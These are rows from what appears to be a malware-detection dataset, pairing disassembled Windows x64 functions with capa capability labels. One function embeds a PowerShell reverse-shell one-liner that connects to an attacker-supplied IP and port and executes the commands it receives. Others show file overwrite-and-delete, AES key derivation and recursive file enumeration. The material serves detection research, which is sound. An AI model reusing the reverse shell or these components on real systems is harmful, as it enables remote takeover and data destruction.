joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400086a8
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140009d20
nop
cmp dword [0x140013a70], 1
je 0x140008654
mov dword [0x140013a6c], 1
mov byte [0x140013a68], r12b
test ebx, ebx
jne 0x140008640
mov rcx, qword [0x140014470]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000862d
mov rcx, qword [0x140014468]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400085cc
call fcn.14000735c
cmp qword [rdi], rax
jne 0x1400085cc
jmp 0x1400085b2
cmp rdi, rsi
jb 0x14000862d
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14000735c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140014470]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140014468]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000860b
cmp r13, rax
je 0x14000862b
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1400085b2
lea rdx, [0x14000e3b0]
lea rcx, [0x14000e398]
call fcn.1400083fc
lea rdx, [0x14000e3c0]
lea rcx, [0x14000e3b8]
call fcn.1400083fc
nop
test r12d, r12d
je 0x140008663
mov ecx, 8
call fcn.140009c20
test r12d, r12d
jne 0x14000868e
mov dword [0x140013a70], 1
lea ecx, [r12 + 8]
call fcn.140009c20
mov ecx, r15d
call fcn.140008390
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000851c

Function at 0x1400086b4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000851c
Function at 0x14000c43c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14000735c
xor ebx, ebx
mov rdi, rax
cmp qword [0x140014150], rbx
jne 0x14000c542
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000c617
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000c617
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140014150], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140014158], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140014160], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140014170], rax
test rax, rax
je 0x14000c539
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140014168], rax
jmp 0x14000c549
mov rax, qword [0x140014168]
jmp 0x14000c550
mov rax, qword [0x140014168]
mov r11, qword [0x140014170]
cmp rax, rdi
je 0x14000c5b8
cmp r11, rdi
je 0x14000c5b8
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140014170]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14000c5b8
test rax, rax
je 0x14000c5b8
call rsi
test rax, rax
je 0x14000c5b2
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000c5b2
test byte [rsp + 0x38], 1
jne 0x14000c5b8
bts ebp, 0x15
jmp 0x14000c5f6
mov rcx, qword [0x140014158]
cmp rcx, rdi
je 0x14000c5f6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000c5f6
call rax
mov rbx, rax
test rax, rax
je 0x14000c5f6
mov rcx, qword [0x140014160]
cmp rcx, rdi
je 0x14000c5f6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000c5f6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140014150]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000c617
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000c619
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001131
Capabilities:
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [0x140004700]
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor eax, eax
lock cmpxchg qword [rbp], rbx
je 0x140001172
cmp rbx, rax
je 0x140001176
mov ecx, 0x3e8
call rsi
jmp 0x14000115a
xor esi, esi
jmp 0x14000117b
mov esi, 1
mov rbx, qword [0x140004710]
mov eax, dword [rbx]
dec eax
jne 0x140001194
mov ecx, 0x1f
call fcn.1400022f1
jmp 0x1400011bf
mov eax, dword [rbx]
test eax, eax
jne 0x1400011b5
mov rdx, qword [0x140004750]
mov rcx, qword [0x140004740]
mov dword [rbx], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011bf
mov dword [0x140007008], 1
mov eax, dword [rbx]
dec eax
jne 0x1400011de
mov rdx, qword [0x140004730]
mov rcx, qword [0x140004720]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rbx], 2
test esi, esi
jne 0x1400011e8
xor eax, eax
xchg qword [rbp], rax
mov rax, qword [0x140004670]
mov rax, qword [rax]
test rax, rax
je 0x140001203
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.14000186a
mov rcx, qword [0x140004790]
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400046f0]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400016b0
movsxd rbx, dword [0x140007028]
lea ecx, [rbx + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r14, qword [0x140007020]
mov r13, rax
cmp ebx, r12d
jle 0x140001283
mov rcx, qword [r14 + r12*8]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rbp, [rax + 1]
mov rcx, rbp
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rcx, rbp
mov qword [r13 + r12*8], rax
mov rdi, rax
mov rsi, qword [r14 + r12*8]
inc r12
rep movsb byte [rdi], byte [rsi]
jmp 0x140001253
xor eax, eax
test ebx, ebx
cmovs rbx, rax
xor eax, eax
mov qword [r13 + rbx*8], rax
mov qword [0x140007020], r13
call fcn.14000151e
mov rax, qword [0x140004680]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call fcn.140001370
cmp dword [0x14000700c], 0
mov dword [0x140007010], eax
mov ecx, eax
jne 0x1400012da
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
cmp dword [0x140007008], 0
jne 0x1400012e8
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140001370
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x858
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7f0], ecx
mov qword [rbp + 0x7f8], rdx
call fcn.14000151e
cmp dword [rbp + 0x7f0], 3
je 0x1400013d3
mov rax, qword [rbp + 0x7f8]
mov rbx, qword [rax]
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
mov r8, rbx
lea rax, str.Usage:__s__IP_Address___Port__n
mov rdx, rax
call fcn.1400021b0
mov eax, 1
jmp 0x14000149c
mov rax, qword [rbp + 0x7f8]
mov rax, qword [rax + 8]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7f8]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x7c0], rax
mov rcx, qword [rbp + 0x7c8]
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0x7c0]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.powershell.exe__Command__Start_Process__NoNewWindow__FilePath__PSHOMEpowershell.exe__ArgumentList__client__New_Object_System.Net.Sockets.TCPClient___s___s___stream___client.GetStream____byte____bytes__0..65535______0__while____i___stream.Read__bytes__0___bytes.Length____ne_0___data___New_Object__TypeName_System.Text.ASCIIEncoding_.GetString__bytes__0___i___sendback___iex__data_2_1__Out_String___sendback2___sendback___PS_____pwd_.Path________sendbyte____text.encoding_::ASCII_.GetBytes__sendback2___stream.Write__sendbyte__0___sendbyte.Length___stream.Flush_____client.Close___
mov edx, 0x800
mov rcx, rax
call fcn.140002120
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Executing:__s_n
mov rcx, rax
call fcn.140002160
lea rax, [rbp - 0x50]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
mov dword [rbp + 0x7bc], eax
cmp dword [rbp + 0x7bc], 0
je 0x140001488
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1a
mov edx, 1
lea rax, str.Failed_to_execute_command_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov eax, 1
jmp 0x14000149c
lea rax, str.Command_executed_successfully
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov eax, 0
add rsp, 0x858
pop rbx
pop rbp
ret

Function at 0x140001c70
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140007100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001cbc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001cb6
test eax, eax
jne 0x140001cb6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001c8e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140001e70
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001e93
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001e93
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140001e94
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140001ece
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140001ec5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140001ed0
inc r8d
add rax, 0x28
jmp 0x140001eac
xor eax, eax
ret

Function at 0x140001f41
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140004640]
mov r8, rcx
mov rcx, r9
call fcn.140001e70
test eax, eax
je 0x140001f6d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140001e94
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000163c
Capabilities:
Delete file
Get file size
Write file on windows

Disassembly:
push rbp
push rdi
mov eax, 0x1068
call fcn.140002f90
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1000], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, qword [rbp + 0x1000]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xfd0], rax
cmp qword [rbp + 0xfd0], 0xffffffffffffffff
je 0x1400017ab
mov rax, qword [rbp + 0xfd0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0xfcc], eax
cmp dword [rbp + 0xfcc], 0xffffffff
je 0x140001788
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x1fe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0xfd0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointer]
call rax
mov dword [rbp + 0xfdc], 0
jmp 0x14000177a
mov eax, dword [rbp + 0xfcc]
sub eax, dword [rbp + 0xfdc]
mov edx, 0x1000
cmp eax, 0x1000
cmovbe edx, eax
mov ecx, edx
lea r8, [rbp + 0xfc8]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0xfd0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
add dword [rbp + 0xfdc], 0x1000
mov eax, dword [rbp + 0xfdc]
cmp eax, dword [rbp + 0xfcc]
jb 0x140001728
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rcx, qword [rbp + 0x1000]
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
nop
add rsp, 0x1068
pop rdi
pop rbp
ret

Function at 0x1400017b6
Capabilities:
Encrypt data using aes via winapi
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
jne 0x140001806
mov eax, 0
jmp 0x1400018b3
mov rcx, qword [rbp + 0x18]
lea rax, [rbp - 0x70]
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x20
mov r9, rcx
lea r8, str._s_.s
mov edx, 0x60
mov rcx, rax
call fcn.140001593
lea rax, [rbp - 0x70]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x70]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
je 0x140001898
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, rdx
mov edx, 0x6610
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
je 0x140001898
mov eax, 1
jmp 0x14000189d
mov eax, 0
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov eax, dword [rbp - 4]
add rsp, 0xa0
pop rbp
ret
Function at 0x140001d2f
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
mov qword [rbp + 0x328], rdx
lea rax, [rbp + 0x200]
mov r9, qword [rbp + 0x320]
lea r8, str._s
mov edx, 0x104
mov rcx, rax
call fcn.140001593
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
je 0x140001e7c
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, [0x14000a083]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001e44
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, [0x14000a085]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001e44
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0xc0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x320]
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call fcn.140001593
mov eax, dword [rbp + 0xc0]
and eax, 0x10
test eax, eax
je 0x140001e2f
mov rdx, qword [rbp + 0x328]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140001d2f
jmp 0x140001e45
mov rdx, qword [rbp + 0x328]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400018bc
jmp 0x140001e45
nop
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001d9e
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140001e7d
nop
add rsp, 0x390
pop rbp
ret

Function at 0x1400021c0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400081c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400081c0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140002230
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000d0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x1400023e0
mov rax, qword [0x14000d0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000227c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140002307
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140002260
mov rcx, r12
call fcn.140002ce0
mov rbp, rax
test rax, rax
je 0x14000243d
mov rax, qword [0x14000d0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140002e10
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000d0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002422
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002300
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002390
add dword [0x14000d0a4], 1
cmp ebx, 8
jae 0x140002338
test bl, 4
jne 0x1400023f0
test ebx, ebx
je 0x140002329
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140002410
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140002329
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14000236a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000d0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002300
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400021c0
xor edi, edi
jmp 0x140002287
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140002329
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140002329
mov rax, qword [0x14000d0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.1400021c0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400021c0
nop
nop dword [rax]
Function at 0x140002950
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000d100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x1400029a4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000299b
test r12, r12
je 0x14000299b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002980
lea rcx, [0x14000d100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002ce0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14000a7a0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002d59
mov rcx, r10
call fcn.140002bb0
test eax, eax
je 0x140002d59
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002d56
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x140002d4d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002d59
add r8, 0x28
cmp r8, r9
jne 0x140002d38
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x231941aac
Capabilities:
Get session integrity level

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp - 0x14], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x10]
mov r8, rdx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x14]
lea rdx, [rbp - 8]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8, rcx
mov edx, 0x14
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
mov eax, dword [rbp - 0x14]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp - 4], 0
je 0x231941b37
mov rax, qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call rax
test eax, eax
je 0x231941b37
mov eax, 1
jmp 0x231941b3c
mov eax, 0
movzx eax, al
add rsp, 0x50
pop rbp
ret

Function at 0x231941c21
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.231a156f0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
je 0x231941d5f
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0xffffffff
je 0x231941d33
mov eax, dword [rbp - 0xc]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x1c]
mov r8d, dword [rbp - 0xc]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x231941cfa
mov eax, dword [rbp - 0x1c]
cmp dword [rbp - 0xc], eax
jne 0x231941cfa
mov eax, 1
jmp 0x231941cff
mov eax, 0
test al, al
je 0x231941d20
mov eax, dword [rbp - 0xc]
mov rdx, qword [rbp - 0x18]
add rax, rdx
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
cmp qword [rbp - 0x18], 0
je 0x231941d33
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.operator_delete___void_
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x231941d5f
nop
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x231941db7
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov edx, dword [rbp + 0x18]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x231941ec3
cmp dword [rbp + 0x20], 0
je 0x231941e83
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
